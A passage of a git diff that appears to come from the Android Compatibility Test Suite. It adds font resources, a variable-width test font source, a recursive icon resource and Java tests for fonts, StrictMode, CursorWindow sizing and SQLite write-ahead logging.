+ <font android:fontStyle="italic" android:font="@font/sample_font_collection" android:ttcIndex="1" />
+</font-family>
\ No newline at end of file
diff --git a/tests/tests/content/res/font/sample_variation_settings_family1.xml b/tests/tests/content/res/font/sample_variation_settings_family1.xml
new file mode 100644
index 0000000..c719fa9
--- /dev/null
+++ b/tests/tests/content/res/font/sample_variation_settings_family1.xml
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
+<font-family xmlns:android="http://schemas.android.com/apk/res/android">
+ <font android:font="@font/variable_width_dash_font" android:fontVariationSettings="'wdth' 100.0" />
+</font-family>
diff --git a/tests/tests/content/res/font/sample_variation_settings_family2.xml b/tests/tests/content/res/font/sample_variation_settings_family2.xml
new file mode 100644
index 0000000..94d4d79
--- /dev/null
+++ b/tests/tests/content/res/font/sample_variation_settings_family2.xml
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
+<font-family xmlns:android="http://schemas.android.com/apk/res/android">
+ <font android:font="@font/variable_width_dash_font" android:fontVariationSettings="'wdth' 500.0" />
+</font-family>
diff --git a/tests/tests/content/res/font/variable_width_dash_font.ttf b/tests/tests/content/res/font/variable_width_dash_font.ttf
new file mode 100644
index 0000000..f7a256a
--- /dev/null
+++ b/tests/tests/content/res/font/variable_width_dash_font.ttf
Binary files differ
diff --git a/tests/tests/content/res/font/variable_width_dash_font_source.ttx b/tests/tests/content/res/font/variable_width_dash_font_source.ttx
new file mode 100644
index 0000000..401fe0f
--- /dev/null
+++ b/tests/tests/content/res/font/variable_width_dash_font_source.ttx
@@ -0,0 +1,241 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.9">
+
+ <GlyphOrder>
+ <!-- The 'id' attribute is only for humans; it is ignored when parsed. -->
+ <GlyphID id="0" name=".notdef"/>
+ <GlyphID id="1" name="dash"/>
+ </GlyphOrder>
+
+ <head>
+ <!-- Most of this table will be recalculated by the compiler -->
+ <tableVersion value="1.0"/>
+ <fontRevision value="1.0"/>
+ <checkSumAdjustment value="0x81ee73dd"/>
+ <magicNumber value="0x5f0f3cf5"/>
+ <flags value="00000000 00000011"/>
+ <unitsPerEm value="1000"/>
+ <created value="Wed Sep 9 08:01:17 2015"/>
+ <modified value="Thu Mar 9 22:22:31 2017"/>
+ <xMin value="0"/>
+ <yMin value="0"/>
+ <xMax value="0"/>
+ <yMax value="0"/>
+ <macStyle value="00000000 00000000"/>
+ <lowestRecPPEM value="7"/>
+ <fontDirectionHint value="2"/>
+ <indexToLocFormat value="0"/>
+ <glyphDataFormat value="0"/>
+ </head>
+
+ <hhea>
+ <tableVersion value="0x00010000"/>
+ <ascent value="1000"/>
+ <descent value="-200"/>
+ <lineGap value="0"/>
+ <advanceWidthMax value="500"/>
+ <minLeftSideBearing value="0"/>
+ <minRightSideBearing value="0"/>
+ <xMaxExtent value="0"/>
+ <caretSlopeRise value="1"/>
+ <caretSlopeRun value="0"/>
+ <caretOffset value="0"/>
+ <reserved0 value="0"/>
+ <reserved1 value="0"/>
+ <reserved2 value="0"/>
+ <reserved3 value="0"/>
+ <metricDataFormat value="0"/>
+ <numberOfHMetrics value="1"/>
+ </hhea>
+
+ <maxp>
+ <!-- Most of this table will be recalculated by the compiler -->
+ <tableVersion value="0x10000"/>
+ <numGlyphs value="2"/>
+ <maxPoints value="0"/>
+ <maxContours value="0"/>
+ <maxCompositePoints value="0"/>
+ <maxCompositeContours value="0"/>
+ <maxZones value="2"/>
+ <maxTwilightPoints value="12"/>
+ <maxStorage value="28"/>
+ <maxFunctionDefs value="119"/>
+ <maxInstructionDefs value="0"/>
+ <maxStackElements value="61"/>
+ <maxSizeOfInstructions value="2967"/>
+ <maxComponentElements value="0"/>
+ <maxComponentDepth value="0"/>
+ </maxp>
+
+ <OS_2>
+ <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+ will be recalculated by the compiler -->
+ <version value="3"/>
+ <xAvgCharWidth value="594"/>
+ <usWeightClass value="400"/>
+ <usWidthClass value="5"/>
+ <fsType value="00000000 00001000"/>
+ <ySubscriptXSize value="650"/>
+ <ySubscriptYSize value="600"/>
+ <ySubscriptXOffset value="0"/>
+ <ySubscriptYOffset value="75"/>
+ <ySuperscriptXSize value="650"/>
+ <ySuperscriptYSize value="600"/>
+ <ySuperscriptXOffset value="0"/>
+ <ySuperscriptYOffset value="350"/>
+ <yStrikeoutSize value="50"/>
+ <yStrikeoutPosition value="300"/>
+ <sFamilyClass value="0"/>
+ <panose>
+ <bFamilyType value="0"/>
+ <bSerifStyle value="0"/>
+ <bWeight value="5"/>
+ <bProportion value="0"/>
+ <bContrast value="0"/>
+ <bStrokeVariation value="0"/>
+ <bArmStyle value="0"/>
+ <bLetterForm value="0"/>
+ <bMidline value="0"/>
+ <bXHeight value="0"/>
+ </panose>
+ <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+ <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+ <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+ <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+ <achVendID value="UKWN"/>
+ <fsSelection value="00000000 01000000"/>
+ <usFirstCharIndex value="97"/>
+ <usLastCharIndex value="97"/>
+ <sTypoAscender value="800"/>
+ <sTypoDescender value="-200"/>
+ <sTypoLineGap value="200"/>
+ <usWinAscent value="1000"/>
+ <usWinDescent value="200"/>
+ <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+ <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+ <sxHeight value="500"/>
+ <sCapHeight value="700"/>
+ <usDefaultChar value="0"/>
+ <usBreakChar value="32"/>
+ <usMaxContext value="0"/>
+ </OS_2>
+
+ <hmtx>
+ <mtx name=".notdef" width="500" lsb="93"/>
+ <mtx name="dash" width="500" lsb="93"/>
+ </hmtx>
+
+ <cmap>
+ <tableVersion version="0"/>
+ <cmap_format_4 platformID="3" platEncID="10" language="0">
+ <map code="0x2D" name="dash"/><!-- ASCII DASH -->
+ </cmap_format_4>
+ </cmap>
+
+ <loca>
+ <!-- The 'loca' table will be calculated by the compiler -->
+ </loca>
+
+ <glyf>
+
+ <!-- The xMin, yMin, xMax and yMax values
+ will be recalculated by the compiler. -->
+ <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0">
+ <contour>
+ <pt x="100" y="-500" on="1"/>
+ <pt x="900" y="-500" on="1"/>
+ <pt x="900" y="1000" on="1"/>
+ <pt x="100" y="1000" on="1"/>
+ </contour>
+ <instructions/>
+ </TTGlyph>
+
+ <TTGlyph name="dash">
+ <contour>
+ <pt x="0" y="200" on="1"/>
+ <pt x="100" y="200" on="1"/>
+ <pt x="100" y="300" on="1"/>
+ <pt x="0" y="300" on="1"/>
+ </contour>
+ <instructions/>
+ </TTGlyph>
+ </glyf>
+
+ <name>
+ <namerecord nameID="1" platformID="1" platEncID="0" langID="0x0" unicode="True">
+ MultiAxisFont Test
+ </namerecord>
+ <namerecord nameID="2" platformID="1" platEncID="0" langID="0x0" unicode="True">
+ Regular
+ </namerecord>
+ <namerecord nameID="4" platformID="1" platEncID="0" langID="0x0" unicode="True">
+ MultiAxisFont Test
+ </namerecord>
+ <namerecord nameID="6" platformID="1" platEncID="0" langID="0x0" unicode="True">
+ MultiAxisFontTest-Regular
+ </namerecord>
+ <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+ MultiAxisFont Test
+ </namerecord>
+ <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+ Regular
+ </namerecord>
+ <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+ MultiAxisFont Test
+ </namerecord>
+ <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+ MultiAxisFontTest-Regular
+ </namerecord>
+ </name>
+
+ <post>
+ <formatType value="3.0"/>
+ <italicAngle value="0.0"/>
+ <underlinePosition value="-200"/>
+ <underlineThickness value="20"/>
+ <isFixedPitch value="0"/>
+ <minMemType42 value="0"/>
+ <maxMemType42 value="0"/>
+ <minMemType1 value="0"/>
+ <maxMemType1 value="0"/>
+ </post>
+
+ <fvar>
+ <Axis>
+ <AxisTag>wdth</AxisTag>
+ <MinValue>100.0</MinValue>
+ <DefaultValue>100.0</DefaultValue>
+ <MaxValue>500.0</MaxValue>
+ <AxisNameID>256</AxisNameID>
+ </Axis>
+ </fvar>
+
+ <gvar>
+ <glyphVariations glyph="dash">
+ <tuple>
+ <coord axis="wdth" value="1.0"/>
+ <delta pt="0" x="0" y="0"/>
+ <delta pt="1" x="400" y="0"/>
+ <delta pt="2" x="400" y="0"/>
+ <delta pt="3" x="0" y="0"/>
+ <delta pt="4" x="-200" y="0"/>
+ <delta pt="5" x="200" y="0"/>
+ </tuple>
+ </glyphVariations>
+ </gvar>
+
+</ttFont>
diff --git a/tests/tests/content/res/mipmap/icon_background.png b/tests/tests/content/res/mipmap/icon_background.png
new file mode 100644
index 0000000..72a065c
--- /dev/null
+++ b/tests/tests/content/res/mipmap/icon_background.png
Binary files differ
diff --git a/tests/tests/content/res/mipmap/icon_recursive.xml b/tests/tests/content/res/mipmap/icon_recursive.xml
new file mode 100644
index 0000000..b44fe19
--- /dev/null
+++ b/tests/tests/content/res/mipmap/icon_recursive.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<adaptive-icon xmlns:android="http://schemas.android.com/apk/res/android">
+ <background android:drawable="@mipmap/icon_background" />
+ <foreground android:drawable="@mipmap/icon_recursive" />
+</adaptive-icon>
diff --git a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
index e34aa6e..a7e2815 100644
--- a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
+++ b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
@@ -347,4 +347,18 @@
assertDefaultHandlerValidPriority(intent);
}
}
+
+ public void testFingerprintEnrollStart() {
+ PackageManager packageManager = mContext.getPackageManager();
+ if (packageManager.hasSystemFeature(PackageManager.FEATURE_FINGERPRINT)) {
+ assertCanBeHandled(new Intent(Settings.ACTION_FINGERPRINT_ENROLL));
+ }
+ }
+
+ public void testPictureInPictureSettings() {
+ PackageManager packageManager = mContext.getPackageManager();
+ if (packageManager.hasSystemFeature(PackageManager.FEATURE_PICTURE_IN_PICTURE)) {
+ assertCanBeHandled(new Intent(Settings.ACTION_PICTURE_IN_PICTURE_SETTINGS));
+ }
+ }
}
diff --git a/tests/tests/content/src/android/content/cts/ContextWrapperTest.java b/tests/tests/content/src/android/content/cts/ContextWrapperTest.java
index 5f48260..871107c 100644
--- a/tests/tests/content/src/android/content/cts/ContextWrapperTest.java
+++ b/tests/tests/content/src/android/content/cts/ContextWrapperTest.java
@@ -347,11 +347,11 @@
// Test openOrCreateDatabase with null and actual factory
mDatabase = mContextWrapper.openOrCreateDatabase(DATABASE_NAME1,
- ContextWrapper.MODE_PRIVATE, factory);
+ ContextWrapper.MODE_ENABLE_WRITE_AHEAD_LOGGING, factory);
assertNotNull(mDatabase);
mDatabase.close();
mDatabase = mContextWrapper.openOrCreateDatabase(DATABASE_NAME2,
- ContextWrapper.MODE_PRIVATE, factory);
+ ContextWrapper.MODE_ENABLE_WRITE_AHEAD_LOGGING, factory);
assertNotNull(mDatabase);
mDatabase.close();
@@ -360,7 +360,7 @@
// Test databaseList()
List<String> list = Arrays.asList(mContextWrapper.databaseList());
- assertEquals(4, list.size()); // Each database has a journal
+ assertEquals(2, list.size());
assertTrue("1) database list: " + list, list.contains(DATABASE_NAME1));
assertTrue("2) database list: " + list, list.contains(DATABASE_NAME2));
diff --git a/tests/tests/content/src/android/content/cts/SharedPreferencesTest.java b/tests/tests/content/src/android/content/cts/SharedPreferencesTest.java
index b4fcb31..7c9e538 100644
--- a/tests/tests/content/src/android/content/cts/SharedPreferencesTest.java
+++ b/tests/tests/content/src/android/content/cts/SharedPreferencesTest.java
@@ -22,6 +22,8 @@
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageManager;
import android.os.StrictMode;
+import android.os.StrictMode.ViolationInfo;
+import android.os.StrictMode.ViolationLogger;
import android.preference.PreferenceManager;
import android.test.AndroidTestCase;
import android.util.Log;
@@ -32,6 +34,8 @@
import java.util.HashMap;
import java.util.Map;
import java.util.Random;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
/**
* Test {@link SharedPreferences}.
@@ -322,28 +326,27 @@
}
}
- public void testModeMultiProcess() {
+ public void testModeMultiProcess() throws InterruptedException {
// Pre-load it.
mContext.getSharedPreferences("multiprocessTest", 0);
final StrictMode.ThreadPolicy oldPolicy = StrictMode.getThreadPolicy();
try {
StrictMode.ThreadPolicy diskReadDeath =
- new StrictMode.ThreadPolicy.Builder().detectDiskReads().penaltyDeath().build();
+ new StrictMode.ThreadPolicy.Builder().detectDiskReads().penaltyLog().build();
StrictMode.setThreadPolicy(diskReadDeath);
+ final CountDownLatch latch = new CountDownLatch(1);
+ StrictMode.setViolationLogger(info -> latch.countDown());
// This shouldn't hit disk. (it was already pre-loaded above)
mContext.getSharedPreferences("multiprocessTest", 0);
+ boolean triggered = latch.await(1, TimeUnit.SECONDS);
+ assertFalse(triggered);
- boolean didRead = false;
// This SHOULD hit disk. (multi-process flag is set)
- try {
- mContext.getSharedPreferences("multiprocessTest", Context.MODE_MULTI_PROCESS);
- fail(); // we shouldn't get here.
- } catch (StrictMode.StrictModeViolation e) {
- didRead = true;
- }
- assertTrue(didRead);
+ mContext.getSharedPreferences("multiprocessTest", Context.MODE_MULTI_PROCESS);
+ triggered = latch.await(1, TimeUnit.SECONDS);
+ assertTrue(triggered);
} finally {
StrictMode.setThreadPolicy(oldPolicy);
}
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageInfoTest.java b/tests/tests/content/src/android/content/pm/cts/PackageInfoTest.java
index 886b4f5..9e4fc5c 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageInfoTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageInfoTest.java
@@ -63,7 +63,7 @@
private void checkPkgInfoSame(PackageInfo expected, PackageInfo actual) {
assertEquals(expected.packageName, actual.packageName);
- assertEquals(expected.versionCode, actual.versionCode);
+ assertEquals(expected.getLongVersionCode(), actual.getLongVersionCode());
assertEquals(expected.versionName, actual.versionName);
assertEquals(expected.sharedUserId, actual.sharedUserId);
assertEquals(expected.sharedUserLabel, actual.sharedUserLabel);
diff --git a/tests/tests/content/src/android/content/res/cts/ResourcesTest.java b/tests/tests/content/src/android/content/res/cts/ResourcesTest.java
index 7f5d6ce..6c02845 100644
--- a/tests/tests/content/src/android/content/res/cts/ResourcesTest.java
+++ b/tests/tests/content/src/android/content/res/cts/ResourcesTest.java
@@ -31,6 +31,7 @@
import android.content.res.Resources.NotFoundException;
import android.content.res.TypedArray;
import android.content.res.XmlResourceParser;
+import android.graphics.Paint;
import android.graphics.Typeface;
import android.graphics.drawable.AdaptiveIconDrawable;
import android.graphics.drawable.ColorDrawable;
@@ -324,6 +325,15 @@
}
}
+ public void testGetDrawable_StackOverflowErrorDrawable_mipmap() {
+ try {
+ mResources.getDrawable(R.mipmap.icon_recursive);
+ fail("Failed at testGetDrawable_StackOverflowErrorDrawable_mipmap");
+ } catch (NotFoundException e) {
+ //expected
+ }
+ }
+
public void testGetDrawableForDensity() {
final Drawable ldpi = mResources.getDrawableForDensity(
R.drawable.density_test, DisplayMetrics.DENSITY_LOW);
@@ -788,6 +798,55 @@
assertNotSame(Typeface.DEFAULT, font);
}
+ private Typeface getLargerTypeface(String text, Typeface typeface1, Typeface typeface2) {
+ Paint p1 = new Paint();
+ p1.setTypeface(typeface1);
+ float width1 = p1.measureText(text);
+ Paint p2 = new Paint();
+ p2.setTypeface(typeface2);
+ float width2 = p2.measureText(text);
+
+ if (width1 > width2) {
+ return typeface1;
+ } else if (width1 < width2) {
+ return typeface2;
+ } else {
+ fail("The widths of the text should not be the same");
+ return null;
+ }
+ }
+
+ public void testGetFont_xmlFileWithTtc() {
+ // Here we test that building typefaces by indexing in font collections works correctly.
+ // We want to ensure that the built typefaces correspond to the fonts with the right index.
+ // sample_font_collection.ttc contains two fonts (with indices 0 and 1). The first one has
+ // glyph "a" of 3em width, and all the other glyphs 1em. The second one has glyph "b" of
+ // 3em width, and all the other glyphs 1em. Hence, we can compare the width of these
+ // glyphs to assert that ttc indexing works.
+ Typeface normalFont = mResources.getFont(R.font.sample_ttc_family);
+ assertNotNull(normalFont);
+ Typeface italicFont = Typeface.create(normalFont, Typeface.ITALIC);
+ assertNotNull(italicFont);
+
+ assertEquals(getLargerTypeface("a", normalFont, italicFont), normalFont);
+ assertEquals(getLargerTypeface("b", normalFont, italicFont), italicFont);
+ }
+
+ public void testGetFont_xmlFileWithVariationSettings() {
+ // Here we test that specifying variation settings for fonts in XMLs works.
+ // We build typefaces from two families containing one font each, using the same font
+ // resource, but having different values for the 'wdth' tag. Then we measure the painted
+ // text to ensure that the tag affects the text width. The font resource used supports
+ // the 'wdth' axis for the dash (-) character.
+ Typeface typeface1 = mResources.getFont(R.font.sample_variation_settings_family1);
+ assertNotNull(typeface1);
+ Typeface typeface2 = mResources.getFont(R.font.sample_variation_settings_family2);
+ assertNotNull(typeface2);
+
+ assertNotSame(typeface1, typeface2);
+ assertEquals(getLargerTypeface("-", typeface1, typeface2), typeface2);
+ }
+
public void testGetFont_invalidXmlFile() {
try {
assertNull(mResources.getFont(R.font.invalid_xmlfamily));
diff --git a/tests/tests/database/src/android/database/cts/CursorWindowTest.java b/tests/tests/database/src/android/database/cts/CursorWindowTest.java
index 65ce3fd..b0dc266 100644
--- a/tests/tests/database/src/android/database/cts/CursorWindowTest.java
+++ b/tests/tests/database/src/android/database/cts/CursorWindowTest.java
@@ -21,16 +21,31 @@
import android.database.MatrixCursor;
import android.database.sqlite.SQLiteException;
import android.os.Parcel;
-import android.test.AndroidTestCase;
+import android.support.test.runner.AndroidJUnit4;
+import android.test.suitebuilder.annotation.SmallTest;
+
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.runner.RunWith;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Random;
-public class CursorWindowTest extends AndroidTestCase {
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+public class CursorWindowTest {
private static final String TEST_STRING = "Test String";
+ @Test
public void testWriteCursorToWindow() throws Exception {
// create cursor
String[] colNames = new String[]{"_id", "name", "number", "profit"};
@@ -75,6 +90,7 @@
assertEquals(0, window.getNumRows());
}
+ @Test
public void testNull() {
CursorWindow window = getOneByOneWindow();
@@ -82,10 +98,11 @@
assertTrue(window.putNull(0, 0));
assertNull(window.getString(0, 0));
assertEquals(0, window.getLong(0, 0));
- assertEquals(0.0, window.getDouble(0, 0));
+ assertEquals(0.0, window.getDouble(0, 0), 0.0);
assertNull(window.getBlob(0, 0));
}
+ @Test
public void testEmptyString() {
CursorWindow window = getOneByOneWindow();
@@ -93,9 +110,10 @@
assertTrue(window.putString("", 0, 0));
assertEquals("", window.getString(0, 0));
assertEquals(0, window.getLong(0, 0));
- assertEquals(0.0, window.getDouble(0, 0));
+ assertEquals(0.0, window.getDouble(0, 0), 0.0);
}
+ @Test
public void testConstructors() {
int TEST_NUMBER = 5;
CursorWindow cursorWindow;
@@ -123,6 +141,7 @@
assertEquals(TEST_STRING, cursorWindow.getString(TEST_NUMBER, 0));
}
+ @Test
public void testDataStructureOperations() {
CursorWindow cursorWindow = new CursorWindow(true);
@@ -175,6 +194,7 @@
}
}
+ @Test
public void testAccessDataValues() {
final long NUMBER_LONG_INTEGER = (long) 0xaabbccddffL;
final long NUMBER_INTEGER = (int) NUMBER_LONG_INTEGER;
@@ -214,8 +234,8 @@
assertEquals(0, cursorWindow.getLong(0, 0));
assertEquals(0, cursorWindow.getInt(0, 0));
assertEquals(0, cursorWindow.getShort(0, 0));
- assertEquals(0.0, cursorWindow.getDouble(0, 0));
- assertEquals(0.0f, cursorWindow.getFloat(0, 0), 0.00000001f);
+ assertEquals(0.0, cursorWindow.getDouble(0, 0), 0.0);
+ assertEquals(0.0f, cursorWindow.getFloat(0, 0), 0.0);
assertFalse(cursorWindow.isNull(0, 0));
assertFalse(cursorWindow.isBlob(0, 0));
@@ -226,8 +246,8 @@
assertEquals(0, cursorWindow.getLong(0, 1));
assertEquals(0, cursorWindow.getInt(0, 1));
assertEquals(0, cursorWindow.getShort(0, 1));
- assertEquals(0.0, cursorWindow.getDouble(0, 1));
- assertEquals(0.0f, cursorWindow.getFloat(0, 1), 0.00000001f);
+ assertEquals(0.0, cursorWindow.getDouble(0, 1), 0.0);
+ assertEquals(0.0f, cursorWindow.getFloat(0, 1), 0.0);
assertNull(cursorWindow.getBlob(0, 1));
assertTrue(cursorWindow.isNull(0, 1));
// If the field is null, isBlob will return true.
@@ -239,8 +259,8 @@
assertEquals(NUMBER_INTEGER, cursorWindow.getInt(0, 2));
assertEquals(Long.toString(NUMBER_LONG_INTEGER), cursorWindow.getString(0, 2));
assertEquals(NUMBER_SHORT, cursorWindow.getShort(0, 2));
- assertEquals(NUMBER_FLOAT_SCIENCE, cursorWindow.getFloat(0, 2), 0.00000001f);
- assertEquals(NUMBER_DOUBLE_SCIENCE, cursorWindow.getDouble(0, 2), 0.00000001);
+ assertEquals(NUMBER_FLOAT_SCIENCE, cursorWindow.getFloat(0, 2), 0.0);
+ assertEquals(NUMBER_DOUBLE_SCIENCE, cursorWindow.getDouble(0, 2), 0.0);
try {
cursorWindow.getBlob(0, 2);
fail("Can't get Blob from a Integer value.");
@@ -259,8 +279,8 @@
assertEquals(NUMBER_FLOAT_SCIENCE_STRING2.substring(0, 6), cursorWindow.getString(0, 3)
.substring(0, 6));
assertEquals(NUMBER_SHORT, cursorWindow.getShort(0, 3));
- assertEquals(NUMBER_FLOAT_SCIENCE, cursorWindow.getFloat(0, 3), 0.00000001f);
- assertEquals(NUMBER_DOUBLE_SCIENCE, cursorWindow.getDouble(0, 3), 0.00000001);
+ assertEquals(NUMBER_FLOAT_SCIENCE, cursorWindow.getFloat(0, 3), 0.0);
+ assertEquals(NUMBER_DOUBLE_SCIENCE, cursorWindow.getDouble(0, 3), 0.0);
try {
cursorWindow.getBlob(0, 3);
fail("Can't get Blob from a Double value.");
@@ -279,6 +299,7 @@
assertTrue(cursorWindow.isBlob(0, 4));
}
+ @Test
public void testCopyStringToBuffer() {
int DEFAULT_ARRAY_LENGTH = 64;
String baseString = "0123456789";
@@ -314,6 +335,7 @@
assertEquals(expectedString.length(), charArrayBuffer.data.length);
}
+ @Test
public void testAccessStartPosition() {
final int TEST_POSITION_1 = 0;
final int TEST_POSITION_2 = 3;
@@ -343,6 +365,7 @@
}
}
+ @Test
public void testClearAndOnAllReferencesReleased() {
MockCursorWindow cursorWindow = new MockCursorWindow(true);
@@ -369,11 +392,43 @@
assertTrue(cursorWindow.hasReleasedAllReferences());
}
+ @Test
public void testDescribeContents() {
CursorWindow cursorWindow = new CursorWindow(true);
assertEquals(0, cursorWindow.describeContents());
}
+ @Test
+ public void testDefaultCursorWindowSize() {
+ CursorWindow cursorWindow = new CursorWindow("test");
+ cursorWindow.setNumColumns(1);
+ byte[] bytes = new byte[1024];
+ Arrays.fill(bytes, (byte) 1);
+ // Ensure that the default is not too small and it's possible to fill CursorWindow
+ // with ~2Mb of data
+ int testRowCount = 2016;
+ for (int i = 0; i < testRowCount; i++) {
+ assertTrue(cursorWindow.allocRow());
+ assertTrue("Allocation failed for row " + i, cursorWindow.putBlob(bytes, i, 0));
+ }
+ assertTrue(cursorWindow.allocRow());
+ assertFalse("Allocation should fail for row " + testRowCount,
+ cursorWindow.putBlob(bytes, testRowCount, 0));
+ }
+
+ @Test
+ public void testCustomSize() {
+ // Allocate CursorWindow with max size 10KB and test that restriction is enforced
+ CursorWindow cursorWindow = new CursorWindow("test", 10000);
+ cursorWindow.setNumColumns(1);
+ byte[] bytes = new byte[8000];
+ Arrays.fill(bytes, (byte) 1);
+ assertTrue(cursorWindow.allocRow());
+ assertTrue("Allocation of 1 row should succeed", cursorWindow.putBlob(bytes, 0, 0));
+ assertTrue(cursorWindow.allocRow());
+ assertFalse("Allocation of 2nd row should fail", cursorWindow.putBlob(bytes, 1, 0));
+ }
+
private class MockCursorWindow extends CursorWindow {
private boolean mHasReleasedAllReferences = false;
diff --git a/tests/tests/database/src/android/database/sqlite/cts/SQLiteCursorTest.java b/tests/tests/database/src/android/database/sqlite/cts/SQLiteCursorTest.java
index a506de5..a11abf6 100644
--- a/tests/tests/database/src/android/database/sqlite/cts/SQLiteCursorTest.java
+++ b/tests/tests/database/src/android/database/sqlite/cts/SQLiteCursorTest.java
@@ -19,10 +19,13 @@
import android.content.Context;
import android.database.AbstractCursor;
+import android.database.AbstractWindowedCursor;
import android.database.Cursor;
import android.database.CursorWindow;
import android.database.DataSetObserver;
+import android.database.SQLException;
import android.database.StaleDataException;
+import android.database.sqlite.SQLiteBlobTooBigException;
import android.database.sqlite.SQLiteCursor;
import android.database.sqlite.SQLiteDatabase;
import android.database.sqlite.SQLiteDirectCursorDriver;
@@ -210,6 +213,46 @@
assertEquals(TEST_COUNT - TEST_ARG2, cursor.getCount());
}
+ public void testRowTooBig() {
+ mDatabase.execSQL("CREATE TABLE Tst (Txt BLOB NOT NULL);");
+ byte[] testArr = new byte[10000];
+ Arrays.fill(testArr, (byte) 1);
+ for (int i = 0; i < 10; i++) {
+ mDatabase.execSQL("INSERT INTO Tst VALUES (?)", new Object[]{testArr});
+ }
+
+ // Now reduce window size, so that no rows can fit
+ Cursor cursor = mDatabase.rawQuery("SELECT * FROM TST", null);
+ CursorWindow cw = new CursorWindow("test", 5000);
+ AbstractWindowedCursor ac = (AbstractWindowedCursor) cursor;
+ ac.setWindow(cw);
+
+ try {
+ ac.moveToNext();
+ fail("Exception is expected when row exceeds CursorWindow size");
+ } catch (SQLiteBlobTooBigException expected) {
+ }
+ }
+
+ public void testFillWindowForwardOnly() {
+ mDatabase.execSQL("CREATE TABLE Tst (Num Integer NOT NULL);");
+ mDatabase.beginTransaction();
+ for (int i = 0; i < 100; i++) {
+ mDatabase.execSQL("INSERT INTO Tst VALUES (?)", new Object[]{i});
+ }
+ mDatabase.setTransactionSuccessful();
+ mDatabase.endTransaction();
+ Cursor cursor = mDatabase.rawQuery("SELECT * FROM TST", null);
+ SQLiteCursor ac = (SQLiteCursor) cursor;
+ CursorWindow window = new CursorWindow("test", 1000);
+ ac.setFillWindowForwardOnly(true);
+ ac.setWindow(window);
+ assertTrue(ac.moveToFirst());
+ // Now skip 70 rows and check that the window start position corresponds to row 70
+ ac.move(70);
+ assertEquals(70, window.getStartPosition());
+ }
+
public void testOnMove() {
// Do not test this API. It is callback which:
// 1. The callback mechanism has been tested in super class
diff --git a/tests/tests/database/src/android/database/sqlite/cts/SQLiteDatabaseTest.java b/tests/tests/database/src/android/database/sqlite/cts/SQLiteDatabaseTest.java
index 26f8794..56a815b 100644
--- a/tests/tests/database/src/android/database/sqlite/cts/SQLiteDatabaseTest.java
+++ b/tests/tests/database/src/android/database/sqlite/cts/SQLiteDatabaseTest.java
@@ -33,6 +33,7 @@
import android.database.sqlite.SQLiteDatabase;
import android.database.sqlite.SQLiteDatabase.CursorFactory;
import android.database.sqlite.SQLiteDebug;
+import android.database.sqlite.SQLiteGlobal;
import android.database.sqlite.SQLiteQuery;
import android.database.sqlite.SQLiteStatement;
import android.database.sqlite.SQLiteTransactionListener;
@@ -1390,6 +1391,16 @@
assertFalse(mDatabase.isWriteAheadLoggingEnabled());
}
+ public void testDisableWriteAheadLogging() {
+ assertFalse(mDatabase.isWriteAheadLoggingEnabled());
+ mDatabase.disableWriteAheadLogging();
+ assertFalse(mDatabase.isWriteAheadLoggingEnabled());
+ // Verify that default journal mode is set if WAL is disabled
+ String defaultJournalMode = SQLiteGlobal.getDefaultJournalMode();
+ assertTrue(DatabaseUtils.stringForQuery(mDatabase, "PRAGMA journal_mode", null)
+ .equalsIgnoreCase(defaultJournalMode));
+ }
+
public void testEnableThenDisableWriteAheadLoggingUsingOpenFlag() {
closeAndDeleteDatabase();
mDatabase = SQLiteDatabase.openDatabase(mDatabaseFile.getPath(), null,
@@ -1584,4 +1595,64 @@
} catch (IllegalArgumentException expected) {
}
}
+
+ public void testDefaultJournalModeNotWAL() {
+ String defaultJournalMode = SQLiteGlobal.getDefaultJournalMode();
+ assertFalse("Default journal mode should not be WAL",
